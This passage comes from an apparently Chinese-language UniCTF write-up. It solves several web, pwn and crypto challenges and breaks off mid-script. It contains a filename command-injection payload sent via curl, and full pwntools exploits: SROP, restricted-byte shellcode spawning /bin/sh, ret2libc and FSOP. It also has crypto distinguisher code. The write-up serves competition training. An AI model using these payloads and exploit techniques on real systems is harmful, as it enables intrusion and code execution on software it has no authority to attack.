capture_output=True,
text=True,
timeout=10
)

如果可以控制 fname,并且文件名中包含 shell 元字符,就可以在 rm 命令执行时注入任意命令。例如,如果文件名为 &id,最终执行的命令变为 rm -f ./&id,这会先执行 rm,然后后台执行 id 命令。

所以需要在服务器上创建一个”文件名就是Payload”的文件。接着逆向分析 Uni_check

  • 服务器使用 Cookie 中的 session 字段来标识用户。
  • 服务器会在 cookies/ 目录下创建一个以 session 值为文件名的会话文件。
  • 如果我们在 session 值中使用目录遍历字符 ../,我们可以将文件创建在 Web 根目录下。

例如,设置 Cookie session=../malicious_file,服务器会在 cookies/../ 即当前目录下创建名为 malicious_file 的文件。

check.py 会扫描当前目录,发现 malicious_file 不在白名单(白名单只有 Uni_checkcheck.py),将其标记为非法文件,并调用 cleanup_illegal_files 删除它,从而触发命令注入。

尝试创建文件名为 &id>id.txt 的文件:

1
curl -b "session=../&id>id.txt" http://nc1.ctfplus.cn:21500

访问 /check 触发删除操作,然后下载 webapp.zip 查看 id.txt,确认命令执行成功。但是,Cookie 值作为文件名受到一些限制:

  1. 不能包含 /: 这是一个路径分隔符,会被解析为目录。
  2. 不能包含空格: Cookie 处理可能会截断或编码。

接下来就是要进行绕过

绕过空格: 使用 ${IFS} 环境变量代替空格。

绕过斜杠 /:
我们需要读取 /flag,但不能直接写 /。可以通过环境变量截取或命令替换来构造 /

  • 查看环境变量 env,发现 PWD=/home/ctf/webapp
  • dirname $PWD -> /home/ctf
  • dirname /home/ctf -> /home
  • dirname /home -> /

构造 Payload:

1
$(dirname${IFS}$(dirname${IFS}$(dirname${IFS}${PWD})))

这等价于 /。我们需要执行的命令是:cat /flag > flag.txt

转换成Payload:

1
&cat${IFS}$(dirname${IFS}$(dirname${IFS}$(dirname${IFS}${PWD})))flag>flag.txt

注入恶意文件:发送带有恶意 Cookie 的请求,在服务器创建名为 Payload 的文件。

1
curl -v -b 'session=../&cat${IFS}$(dirname${IFS}$(dirname${IFS}$(dirname${IFS}${PWD})))flag>flag.txt' http://nc1.ctfplus.cn:21500

触发漏洞:访问 /check 接口,触发完整性检查脚本。脚本会发现该非法文件并尝试执行 rm -f ./<payload>,从而执行我们的命令。

1
curl -v -b "session=valid_session" http://nc1.ctfplus.cn:21500/check

获取 Flag:命令执行后,/flag 的内容被写入了 flag.txt。我们通过 /download 接口下载整个目录打包。

1
curl -v -b "session=valid_session" -o webapp_flag.zip http://nc1.ctfplus.cn:21500/download

解压并读取:解压 webapp_flag.zip,找到 flag.txt

1
UniCTF{6cf04e09-711a-4f40-ba9d-1abf11b29d7b}

Sur prize

保护信息

1
2
3
4
5
RELRO: Full
Canary: None
NX: Enabled
PIE: No
SHSTK/IBT: Enabled

关键点:

  • 无栈保护,但 NX 开启,不可直接跑 shellcode。
  • 非 PIE,代码段地址固定,方便 ROP/SROP。
  • Gadget 极少,缺常规 pop rdipop rsi 等。

程序行为与漏洞点

main() 先进入动画循环 lmao(),之后进入 _main(),其中有:

1
gets(rsp)

注意这里传给 gets 的缓冲区就是 当前栈指针。因此:

  • 我们的输入从 栈顶 开始写;
  • gets 写完后会执行 ret,而 返回地址就在输入起始位置
  • 不需要计算 offset,直接覆盖 RIP。

这给了我们完美的控制流劫持入口。

关键函数与地址

  • getchar@plt:用来设置 rax=0x0f,触发 sigreturn
  • syscall 指令:0x40169d(在 wutihave 里)
  • 可写内存:.data 起始 0x404000
  • 目标文件路径:/flag

利用思路(SROP + ORW)

由于常规 ROP gadget 不足,改用 SROP

Stage 1:构造一次 sigreturn 来 read 第二阶段

  1. 覆盖 RIP 指向 getchar@plt(读取一个字节到 rax
  2. 返回到 syscall(此时 rax=0x0f → 触发 sigreturn)
  3. sigreturn frame 设定:
    • rax=0 (read)
    • rdi=0
    • rsi=.data
    • rdx=stage2_len
    • rsp=.data+PIVOT

这样就把 第二阶段 payload 写进 .data,并把栈转移过去。

Stage 2:连续三次 SROP 做 ORW

第二阶段布局为三段重复结构:

1
2
3
[rbp][getchar][syscall][frame_open]
[rbp][getchar][syscall][frame_read]
[rbp][getchar][syscall][frame_write]

每段都用 getcharrax=0x0f,再 syscall 触发 sigreturn。

  1. open(“/flag”, O_RDONLY)
1
2
3
4
rax=2
rdi=/flag
rsi=0
rdx=0
  1. read(3, buf, 0x100)

假设 open 返回 fd=3:

1
2
3
4
rax=0
rdi=3
rsi=buf
rdx=0x100
  1. write(1, buf, 0x100)
1
2
3
4
rax=1
rdi=1
rsi=buf
rdx=0x100

最终输出 flag。也可直接 retwutihave(0x401653),它会执行 /bin/ls,得到

1
flag_dacaf27831e0ee1a6c1682a925fb208a

然后再用 execve /bin/cat 读出该文件。本文最终用 /flag 路径读出 flag。

下面是完整利用脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
#!/usr/bin/env python3
from pwn import *

context.clear(arch='amd64', os='linux')
# context.log_level = 'debug'

HOST = args.HOST or 'nc1.ctfplus.cn'
PORT = int(args.PORT or 33095)
BINARY = './vuln'

elf = ELF(BINARY)

# Gadgets / addresses
GETCHAR = elf.plt['getchar']
SYSCALL = 0x40169d # syscall; nop; pop rbp; ret (inside wutihave)

DATA_ADDR = 0x404000 # .data start (writable, no PIE)
PIVOT = 0x200 # stack pivot offset inside .data
ARGV_OFF = 0x100
FLAG_OFF = 0x120
BUF_OFF = 0x600
FLAG_PATH = (args.PATH or "/flag").encode()
if not FLAG_PATH.endswith(b"\x00"):
FLAG_PATH += b"\x00"


def build_payload():
# -----------------
# Stage 2 (goes into .data via read): ORW via SROP
# -----------------
# open(FLAG_PATH, O_RDONLY, 0)
frame_open = SigreturnFrame()
frame_open.rax = 2
frame_open.rdi = DATA_ADDR + FLAG_OFF
frame_open.rsi = 0
frame_open.rdx = 0
frame_open.rip = SYSCALL

# read(3, BUF, 0x100)
frame_read = SigreturnFrame()
frame_read.rax = 0
frame_read.rdi = 3
frame_read.rsi = DATA_ADDR + BUF_OFF
frame_read.rdx = 0x100
frame_read.rip = SYSCALL

# write(1, BUF, 0x100)
frame_write = SigreturnFrame()
frame_write.rax = 1
frame_write.rdi = 1
frame_write.rsi = DATA_ADDR + BUF_OFF
frame_write.rdx = 0x100
frame_write.rip = SYSCALL

# Layout: [rbp][getchar][syscall][frame] repeated
seg_open = PIVOT
frame_open_off = seg_open + 0x18
seg_read = frame_open_off + len(bytes(frame_open))
frame_read_off = seg_read + 0x18
seg_write = frame_read_off + len(bytes(frame_read))
frame_write_off = seg_write + 0x18
path_off = frame_write_off + len(bytes(frame_write))

stage2_size = max(path_off + len(FLAG_PATH), BUF_OFF + 0x100)
if stage2_size % 0x10:
stage2_size += 0x10 - (stage2_size % 0x10)

stage2 = bytearray(b"\x00" * stage2_size)

# segment: open
stage2[seg_open:seg_open+8] = p64(0)
stage2[seg_open+8:seg_open+16] = p64(GETCHAR)
stage2[seg_open+16:seg_open+24] = p64(SYSCALL)
frame_open.rsp = DATA_ADDR + seg_read
stage2[frame_open_off:frame_open_off+len(bytes(frame_open))] = bytes(frame_open)

# segment: read
stage2[seg_read:seg_read+8] = p64(0)
stage2[seg_read+8:seg_read+16] = p64(GETCHAR)
stage2[seg_read+16:seg_read+24] = p64(SYSCALL)
frame_read.rsp = DATA_ADDR + seg_write
stage2[frame_read_off:frame_read_off+len(bytes(frame_read))] = bytes(frame_read)

# segment: write
stage2[seg_write:seg_write+8] = p64(0)
stage2[seg_write+8:seg_write+16] = p64(GETCHAR)
stage2[seg_write+16:seg_write+24] = p64(SYSCALL)
frame_write.rsp = DATA_ADDR + seg_write + 0x18
stage2[frame_write_off:frame_write_off+len(bytes(frame_write))] = bytes(frame_write)

# flag path
stage2[path_off:path_off+len(FLAG_PATH)] = FLAG_PATH

# -----------------
# Stage 1 (goes via gets) -> SROP to read stage2 into .data
# -----------------
frame1 = SigreturnFrame()
frame1.rax = 0 # read
frame1.rdi = 0 # stdin
frame1.rsi = DATA_ADDR
frame1.rdx = len(stage2)
frame1.rip = SYSCALL
frame1.rsp = DATA_ADDR + seg_open

payload = p64(GETCHAR) + p64(SYSCALL) + bytes(frame1)
if b"\n" in payload:
raise ValueError("payload contains newline; gets would cut it")

return payload, stage2


def exploit(io):
payload, stage2 = build_payload()

# stop the animation (lmao) with one byte, then feed gets
io.send(b"a" + payload + b"\n")

# getchar #1 -> return 0x0f to trigger sigreturn (read stage2)
io.send(b"\x0f")

# read() -> write stage2 into .data
io.send(stage2)

# getchar #2/3/4 -> trigger open/read/write
io.send(b"\x0f" * 3)

io.interactive()


if __name__ == '__main__':
if args.LOCAL:
io = process(BINARY)
else:
io = remote(HOST, PORT)
exploit(io)

最终输出:

1
UniCTF{♫♫♫nEv3R_G0nN4_q1v3_Y0u_Up♪♪♪N3V3r_G0NnA_L37_g3t$_D0vvn♫♫♫182008527626062270464}

smcode

先检查保护

unictf65.png

可以知道保护全开启了,接着用ida打开

unictf66.png

分析这个vuln函数目标是读入一段 shellcode,逐字节校验后将其拷贝到 RWX 内存并执行。

  • read(0, buf, 0x1000) 读入 shellcode
  • check_shellcode(buf, len) 对每个字节做白名单校验
  • 通过后 mmap(RWX),把 shellcode memcpy 到新内存,清空寄存器并 jmp 执行

允许字节集合,.rodata 中有 FIB_BYTES

1
00 01 02 03 05 08 0d 15 22 37 59 90 e9

即斐波那契序列,shellcode 每个字节都必须属于该集合,使用 自修改/解码器

  1. 第一阶段(decoder)完全由允许字节组成;
  2. 第二阶段(真实 shellcode)先放为全 0;
  3. decoder 逐字节将第二阶段「解码」成任意值;
  4. 执行落到第二阶段,得到正常 shell。

允许的指令模板

必须确保机器码的每个字节也属于允许集合
可用的指令:

  • add eax, imm32
    • opcode: 05 xx 00 00 00
    • 字节:0500 都在白名单
  • add byte ptr [rip+disp32], al
    • opcode: 00 05 disp32
    • 字节 00 05 合法,只要 disp32 每个字节也合法
  • nop (0x90)合法

这些指令字节全部可由白名单组合。

解码策略

  • 令 AL 为当前值
  • 目标字节为 b,则 diff = (b - al) mod 256
  • 用一系列允许的“加数”把 AL 增加到 b
  • 然后执行:add byte ptr [rip+disp32], al

因为第二阶段初始是 0,所以 加 AL 就能写出任意字节

关键难点:disp32 必须合法

add byte ptr [rip+disp32], al 中的 disp32 也是 4 字节立即数,每个字节都必须在白名单

办法:

  • 把第二阶段放在 decoder 后部某个固定偏移 stage_start
  • 每写一个字节时,让 RIP 处于合适位置,使得 disp32 能表示 目标地址 - (RIP+6)
  • 若不合适,就用 NOP (0x90) 补齐对齐偏移
  • 通过搜索选择合适 stage_start + padding,使所有 disp32 合法

标准 execve(“/bin/sh”, 0, 0):

1
2
3
4
5
6
7
8
xor edx, edx
xor esi, esi
push 0x3b
pop rax
mov rbx, 0x68732f6e69622f
push rbx
mov rdi, rsp
syscall

对应字节:

1
31 d2 31 f6 6a 3b 58 48 bb 2f 62 69 6e 2f 73 68 00 53 48 89 e7 0f 05

这些字节不满足白名单,所以必须靠 decoder 写入。下面是完整解码器生成逻辑(Python)。它会:

  • 计算“每个字节所需的增量序列”
  • 搜索合适的 stage_startdisp32
  • 自动插入 NOP padding
  • 输出最终 payload(全字节合法)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
from pwn import *
from collections import deque

context.clear(arch='amd64')

ALLOWED = {0x00,0x01,0x02,0x03,0x05,0x08,0x0d,0x15,0x22,0x37,0x59,0x90,0xe9}
STEPS = [x for x in ALLOWED if x != 0]

# stage2 shellcode
STAGE2 = asm('''
xor edx, edx
xor esi, esi
push 0x3b
pop rax
mov rbx, 0x68732f6e69622f
push rbx
mov rdi, rsp
syscall
''')

# 1) BFS 预计算:任意 diff (0-255) 都能由 STEPS 叠加得到
seq = {0: []}
q = deque([0])
while q:
v = q.popleft()
for s in STEPS:
nv = (v + s) & 0xff
if nv not in seq:
seq[nv] = seq[v] + [s]
q.append(nv)

# 2) 预计算合法 disp32(四个字节均在 ALLOWED)
allowed_disp = []
for disp in range(0x2000):
b0 = disp & 0xff
b1 = (disp >> 8) & 0xff
b2 = (disp >> 16) & 0xff
b3 = (disp >> 24) & 0xff
if b0 in ALLOWED and b1 in ALLOWED and b2 in ALLOWED and b3 in ALLOWED:
allowed_disp.append(disp)

# 3) 计算每个字节的增量序列
inc_seqs = []
cur = 0
for b in STAGE2:
diff = (b - cur) & 0xff
inc_seqs.append(seq[diff])
cur = b

inc_lens = [len(s) * 5 for s in inc_seqs] # 每个 add eax, imm32 占 5 字节

# 4) 搜索 stage_start 和 disp
best = None
for stage_start in range(0x100, 0x1000 - len(STAGE2)):
pos = 0
layout = []
ok = True
for j in range(len(STAGE2)):
pos += inc_lens[j]
T = stage_start + j
max_disp = T - (pos + 6)
if max_disp < 0:
ok = False
break
# 找一个最小 padding 的 disp
best_disp = None
best_pad = None
for disp in allowed_disp:
if disp <= max_disp:
pad = T - 6 - disp - pos
if pad >= 0 and (best_pad is None or pad < best_pad):
best_pad = pad
best_disp = disp
if pad == 0:
break
if best_disp is None:
ok = False
break
layout.append((best_pad, best_disp))
pos += best_pad + 6
if ok and pos <= stage_start:
best = (stage_start, layout)
break

assert best is not None
stage_start, layout = best

# 5) 构造 payload
payload = bytearray()
cur_al = 0
for j, b in enumerate(STAGE2):
# add eax, imm32 (多个)
for inc in inc_seqs[j]:
payload += bytes([0x05, inc, 0x00, 0x00, 0x00])
cur_al = (cur_al + inc) & 0xff
assert cur_al == b

pad, disp = layout[j]
payload += bytes([0x90]) * pad
payload += bytes([0x00, 0x05]) + disp.to_bytes(4, 'little')

# pad to stage_start
payload += bytes([0x90]) * (stage_start - len(payload))
# stage2 先放 0
payload += bytes([0x00]) * len(STAGE2)

# 检查合法性
assert all(x in ALLOWED for x in payload)

open('payload.bin', 'wb').write(payload)
print('payload size:', len(payload))

最后可直接执行:

1
2
3
4
5
6
7
8
9
10
11
from pwn import *

payload = open('payload.bin', 'rb').read()

io = remote('nc1.ctfplus.cn', 20557)
io.recvline()
io.send(payload)
print(io.recvline())

io.sendline(b'cat /flag')
print(io.recvline())

输出:

1
UniCTF{b2d3143b-81f9-4f4e-9f8b-2ebfd3e43615}

简单的pwn

先checksec

unictf67.png

Full RELRO / Canary / NX / PIE / IBT / SHSTK 全开。

接着用ida打开,关键函数:

g1

unictf68.png

  • 读 8 字节到 [rbp-0x18]
  • 将其作为偏移 offset,打印 *(rbp-0x10 + offset) 的 5 字节
  • 然后调用 g2

g2

unictf69.png

  • 读 8 字节到全局 ptr(.bss)
  • 再读 0xc0 字节到 ptr 指向的地址
  • 然后 exit(0)

所以在 g1 中:

  • [rbp-0x10] 紧挨着保存的 rbp
  • 发送偏移 0x10,即可泄露 saved_rbp 的低 5 字节
  • 高 3 字节固定为 0x7f 段,可补齐为完整指针

通过 1 字节覆盖返回到 g1

g2 的第 2 次 read 返回地址位于栈上,可用任意写覆盖:

  • ret_loc1 = saved_rbp - 0x48
  • g2 返回地址低字节原本为 0x03(指向 0x1203
  • 覆盖为 0x0d(指向 g1 的 0x120d

第二次泄露 libc 基址

跳回 g1 后:

  • rbp 下移 0x48
  • 读取偏移 0x60,可泄露 __libc_init_first+0x88 处返回地址
  • 该偏移在本 libc 中为 0x29ca8

libc_base = leak - 0x29ca8

ret2libc 执行 system("cat /flag")

利用 g2 的任意写在栈上布置 ROP:

  • 第二次 g2 的返回地址位置:ret_loc2 = saved_rbp - 0x80
  • 栈对齐:若 rsp % 16 == 0,先塞一个 ret
  • ROP:pop rdi; retcmd_addrsystemexit
  • cat /flag 字符串紧贴在 ROP 之后

关键偏移

  • ret_loc1 = saved_rbp - 0x48
  • ret_loc2 = saved_rbp - 0x80
  • libc_ret_offset = 0x29ca8

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
from pwn import *
import time

context.binary = elf = ELF('PWN')
libc = ELF('libc.so.6')

context.log_level = 'info'


def start():
if args.REMOTE:
return remote('nc1.ctfplus.cn', 40759)
# Local run on Windows is usually not available; remote is recommended.
return process(['./ld-linux-x86-64.so.2', elf.path], env={'LD_LIBRARY_PATH': '.'})


def u64_5(b):
# 5-byte leak -> canonical userland address (0x7f......)
return u64(b + b'\x00' * 3) | (0x7f << 40)


io = start()

# Stage 1: leak saved rbp from g1
io.send(p64(0x10))
leak1 = io.recvn(5)
saved_rbp = u64_5(leak1)
log.info('saved_rbp = %#x', saved_rbp)

# Overwrite g2 read() return address (low byte) to jump back to g1
ret_loc1 = saved_rbp - 0x48
io.send(p64(ret_loc1))
io.send(b'\x0d')
# Let the short read return before sending the next input
time.sleep(0.2)

# Stage 2: leak libc return address
io.send(p64(0x60))
leak2 = io.recvn(5)
libc_ret = u64_5(leak2)
libc_base = libc_ret - 0x29ca8
libc.address = libc_base
log.info('libc_base = %#x', libc_base)

# Stage 3: ret2libc system('cat /flag')
rop = ROP(libc)
ret = rop.find_gadget(['ret']).address
pop_rdi = rop.find_gadget(['pop rdi', 'ret']).address

system = libc.symbols['system']
exit_fn = libc.symbols['exit']

ret_loc2 = saved_rbp - 0x80
cmd = b'cat /flag\x00'

# rsp at first gadget entry is g2_rbp (saved_rbp - 0x78)
need_align = ((saved_rbp - 0x78) % 16) == 0

chain = []
if need_align:
chain.append(ret)
chain.append(pop_rdi)
arg_idx = len(chain)
chain.append(0) # placeholder for cmd_addr
chain.append(system)
chain.append(exit_fn)

cmd_addr = ret_loc2 + len(chain) * 8
chain[arg_idx] = cmd_addr

payload = b''.join(p64(x) for x in chain) + cmd
payload = payload.ljust(0xc0, b'\x00')

io.send(p64(ret_loc2))
io.send(payload)

io.interactive()
  • 远程:python exp.py REMOTE=1

unictf70.png

flag为:

1
UniCTF{cc15f0ec-6353-4a80-ba10-7a4fa7a30bbe}

EZIO

先checksec

unictf71.png

关键信息:

  • 64-bit ELF,动态链接
  • Partial RELRO
  • No Canary
  • NX Enabled
  • No PIE(基址固定)
  • 带符号信息,未剥离

栈不可执行,但由于 无 PIE无 Canary,并且题目自身包含 getshell(),可以优先考虑直接劫持控制流。用ida打开分析:

unictf72.png

mian函数关键点:

  • buf 是全局缓冲区,大小 0x800
  • fp 是紧邻在 buf 之后的全局变量
  • read(0, buf, 0x820) 读入 0x820 字节,比 buf 大 0x20
  • 会覆盖 fp
  • 随后直接 fclose(fp)

这意味着我们可以伪造一个 FILE 结构体并让 fp 指向它,从而在 fclose() 内部触发虚表函数。接着伪造 FILE 结构(FSOP)思路

在 glibc 2.23 中,fclose() 会调用:

1
_IO_fclose -> _IO_FILE_plus->vtable->finish

即:FILE 结构中的 vtable 偏移处有函数指针。

可以伪造一个 FILE

  • _flags 设置为 0x8000(让 fclose 走到 finish 调用)
  • FILE->_vtable 指向我们在 buf 里伪造的 vtable
  • vtable->finish 指向 getshell()

这样在 fclose(fp) 时会间接调用 getshell()

关键地址

1
2
3
4
5
nm EzIO | grep getshell
readelf -s EzIO | grep ' buf$\| fp$'
getshell: 0x4011ce
buf: 0x404060
fp: 0x404860

布局:

1
2
buf (0x404060)    [0x800 bytes]
fp (0x404860) [8 bytes]

利用构造

  • 把伪造 FILE 放在 buf
  • 把伪造 vtable 放在 buf+0x100
  • FILE->_vtable (offset 0xd8) = buf+0x100
  • vtable->finish (offset 0x10) = getshell
  • 利用溢出写掉 fp 指向 buf

最终 payload 布局

1
2
3
4
5
[0x000..0x7ff]  填充伪造 FILE
- 0x000: _flags = 0x8000
- 0x0d8: _vtable = buf+0x100
[0x100+0x10] vtable->finish = getshell
[0x800..0x807] 覆盖 fp = buf

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *

buf = 0x404060
getshell = 0x4011ce
vtable = buf + 0x100

payload = bytearray(b'\x00' * 0x800)
# _flags
payload[0:4] = p32(0x8000)
# FILE->_vtable
payload[0xd8:0xd8+8] = p64(vtable)
# vtable->finish
payload[0x100+0x10:0x100+0x18] = p64(getshell)

# overflow: overwrite fp
payload += p64(buf)
# pad to full 0x820
payload += b'\x00' * (0x820 - len(payload))

io = remote('nc1.ctfplus.cn', 37324)
io.send(payload)
print(io.recvall().decode(errors='ignore'))

运行后返回:

1
UniCTF{1827fccb-e43f-439b-a72b-b5603f236302}

Crypto

Subgroup-Scribe

可以知道题目 task.py,实现了一个类 Feistel 结构的加密算法。

  • S-box: 一个 256 字节的替换表。

  • Key Update:
    enc_ecb 函数中,密钥随着每一个 16 字节的数据块进行更新。

    1
    key = bytes([sbox[i] for i in key])

    这是一个基于 S-box 的字节级置换。

  • Round Function:
    加密采用了 Generalized Feistel Structure (GFS) 的变体。
    状态分为 4 个 32-bit 字 (x0, x1, x2, x3)
    每一轮更新逻辑为:

    1
    2
    x_next = x[0] ^ T(x[1] ^ x[2] ^ x[3] ^ rk[i])
    x = x[1:] + [x_next]

    其中 T(x) = L(tau(x)),包含 S-box 替换和线性变换 L(涉及循环移位)。

关键漏洞点:

1、S-box 的周期性

通过分析 task.py 中的 S-box 结构,我们发现它由两个长度为 128 的不相交循环组成。这意味着:Sbox(Sbox(...(x)...)) (128次) == x,因此,密钥每经过 128 次更新就会回到初始状态。即 Key[i] == Key[i+128]。这允许我们在第 i 个块和第 i+128 个块使用相同的密钥进行加密,从而使得差分分析成为可能。

2、差分特征

我们需要找到一个输入差分 $\Delta P$,经过 7 轮加密后,输出差分 $\Delta C$ 具有高偏差(非随机)。通过观察轮函数结构:Input: (x_0, x_1, x_2, x_3),T_input = x_1 \oplus x_2 \oplus x_3 \oplus rk

如果我们构造一个差分模式(d, d, d, 0),即前三个字的差分相同,第四个字无差分。

题目要求我们进行 128 轮游戏。每轮服务器生成一个随机密钥,让我们提供 msg,然后服务器抛硬币决定返回 Enc(msg) 还是 RandomBytes。我们需要猜对硬币的正反面。

  1. 构造 Payload:
    • 利用密钥的 128 周期性,我们构造长度为 2 * N * 16 字节的消息。
    • 包含 N 对数据块。每对数据块由 Block[i]Block[i+128] 组成。
    • 满足 Block[i+128] = Block[i] ^ DELTA
    • 这样,Block[i]Block[i+128] 就会在相同的密钥下进行加密。
  2. 统计分析:
    • 收到 Hint 后,提取对应的密文块 C[i]C[i+128]
    • 计算输出差分 Diff = C[i] ^ C[i+128]
    • 统计所有 N 对样本的差分分布,计算 卡方统计量 (Chi-Square Score)
      • 加密数据: 由于前 3 轮被旁路,输出差分分布极不均匀,Chi-Square 分数会非常高(例如 > 8000)。
      • 随机数据: 差分分布均匀,Chi-Square 分数接近自由度(256个值,约 4080 左右)。
  3. 判定阈值:
    • 经过本地测试,随机数据的 Chi-Square 均值约为 4080。
    • 使用 (d, d, d, 0) 差分的加密数据 Chi-Square 值通常超过 12000。
    • 设定阈值 THRESHOLD = 8000
    • 如果 Score > 8000,猜测为 0 (Encrypted);否则猜测为 1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
# 差分模式 (d, d, d, 0) with d=0x1
# 这种模式在前3轮会导致 T 函数输入差分为 0,从而旁路前3轮
BEST_DELTA = 0x1000000010000000100000000

def get_score(data_bytes):
# 按照 128 的步长提取对子
blocks = [data_bytes[i:i+16] for i in range(0, len(data_bytes), 16)]
n_blocks = len(blocks)
if n_blocks < 256: return 0, 0

# 我们只关心 i 和 i+128 这对,因为它们的密钥是相同的
pairs = []
# 这里的步长逻辑需要配合 Payload 的生成逻辑
# Payload 生成: [P0, P1, ... P127, P0^D, P1^D, ... P127^D]
# 所以 block[i] 和 block[i+128] 正好是一对
for i in range(n_blocks // 2):
p1 = blocks[i]
p2 = blocks[i + 128] # Key cycle is 128
pairs.append((p1, p2))

diff_bytes = [[] for _ in range(16)]
N = len(pairs)

for p1, p2 in pairs:
diff = int.from_bytes(p1, 'big') ^ int.from_bytes(p2, 'big')
db = diff.to_bytes(16, 'big')
for i in range(16):
diff_bytes[i].append(db[i])

total_chisq = 0
for i in range(16):
c = Counter(diff_bytes[i])
expected = N/256
chisq = 0
for v in range(256):
obs = c[v]
chisq += (obs - expected)**2 / expected
total_chisq += chisq

return total_chisq, N

脚本运行后,Chi-Square 区分器表现出极高的准确率(100%),成功通过 128 轮验证。flag为:

1
UniCTF{5OM37im3Z_W3_N33D_7O_p4Y_4773n7iON_7o_73h_58OX____63c7dd70}

Subgroup-Gorilla

本题把元素定义成带标志位 n∈{0,1} 的三元组,并用 f() 把元素投影到 “ghost 域”。在 ghost 域里:比较只看 f() 后三元组的字典序,“加法”就是取更大的那个,“乘法”基本变成三元组分量相加,所以矩阵乘法整体退化成 max-plus/tropical:每个格子等于所有候选路径里最大的那一项。协议里的 C1..C6 是循环矩阵,K1=C1*P*C2、共享密钥 KA=C1*K6*C2 本质上都是对中间矩阵做同一个“按偏移量的二维循环卷积核”。因此不需要还原 C1,C2,只用公开的 PK1 就能在 ghost 域反推出每个偏移的核权重:对固定偏移 (s,t),遍历所有 (i,j) 计算 ghost(K1[i,j]) - ghost(P[移位]),取字典序最小的差作为该偏移的核值。把核作用到 K6 可知哪些偏移真正会成为最大;题目数据里只有两个偏移会影响 KA,于是再从 K1 中挑“最大项唯一且为 tangible(n=1)”的位置,把三元组做分量相减即可抠出这两个偏移的真实核元素,进而算出完整 KA。最后按题目用 md5(str(KA)) 当 AES-CTR key、nonce 固定 b'gorilla' 解密得到 flag。

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
from sage.all import *
from hashlib import md5
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

# ===== 复制题目里的环定义(保持一致,保证 str(KA) 完全一致)=====
class algebraring(UniqueRepresentation, Parent):
def __init__(self):
Parent.__init__(self, category=CommutativeRings())

def _element_constructor_(self, x:tuple, n:int=None):
if isinstance(x, algebra): return x
if x == 0: return self.zero()
if x == 1: return self.one()
if isinstance(x, tuple) and n is not None: return algebra(self, x, n)

def __repr__(self): return "algebraring"
def zero(self): return self(("-∞",), 0)
def one(self): return self((0, 0, 0), 1)

class algebra(CommutativeRingElement):
def __init__(self, parent, t:tuple, n:int):
CommutativeRingElement.__init__(self, parent)
self.t = t
self.n = n

def __repr__(self):
return f"T{self.t, self.n}"

def is_zero(self):
return self.t == ("-∞",)

def f(self):
if self.is_zero():
return self.parent().zero()
elif self.n == 0:
return self
else:
p, q, r = self.t
return algebra(self.parent(), (p + q + r, p - q + r, p + q - r), 0)

def __eq__ (self, other): return self.t == other.t and self.n == other.n
def __lt__(self, other):
if self.is_zero(): return not other.is_zero()
elif other.is_zero(): return False
elif self.n != other.n: return self.f() < other.f()
elif self.n == other.n and self.t < other.t: return True
else: return False

def __le__(self, other): return self.__lt__(other) or self.__eq__(other)
def __gt__(self, other): return not self.__le__(other)
def __ge__(self, other): return not self.__lt__(other)

def __add__(self, other):
return [self.f(), self, other][(self.f() > other.f()) - (self.f() < other.f())]

def __mul__(self, other):
if self.is_zero() or other.is_zero(): return self.parent().zero()
if self.n == other.n:
return algebra(self.parent(), tuple(i + j for i, j in zip(self.t, other.t)), self.n)
elif self.n == 0 and other.n == 1:
return algebra(self.parent(), tuple(i + j for i, j in zip(self.t, other.f().t)), 0)
elif self.n == 1 and other.n == 0:
return algebra(self.parent(), tuple(i + j for i, j in zip(self.f().t, other.t)), 0)

# ====== 把题目输出粘到这里 ======
N = 5
T = algebraring()

P_list = [...] # 粘贴 P = [...] 里的 list
K1_list = [...] # 粘贴 K1 = [...] 里的 list
K6_list = [...] # 粘贴 K6 = [...] 里的 list
enc = b'...' # 粘贴 enc = b'...'

P = matrix(T, N, N, P_list)
K1 = matrix(T, N, N, K1_list)
K6 = matrix(T, N, N, K6_list)

def nu(x): # ghost
return x.f()

def nu_t(x): # ghost 的三元组
return nu(x).t

def t_add(a,b):
return (a[0]+b[0], a[1]+b[1], a[2]+b[2])

def t_sub(a,b):
return (a[0]-b[0], a[1]-b[1], a[2]-b[2])

# ====== 1) 反推出每个偏移的核 ghost 值(上界取最紧)======
nuQ = [[None]*N for _ in range(N)]
for s in range(N):
for t in range(N):
cands = []
for i in range(N):
for j in range(N):
a = (i + s) % N
b = (j - t) % N
cands.append(t_sub(nu_t(K1[i,j]), nu_t(P[a,b])))
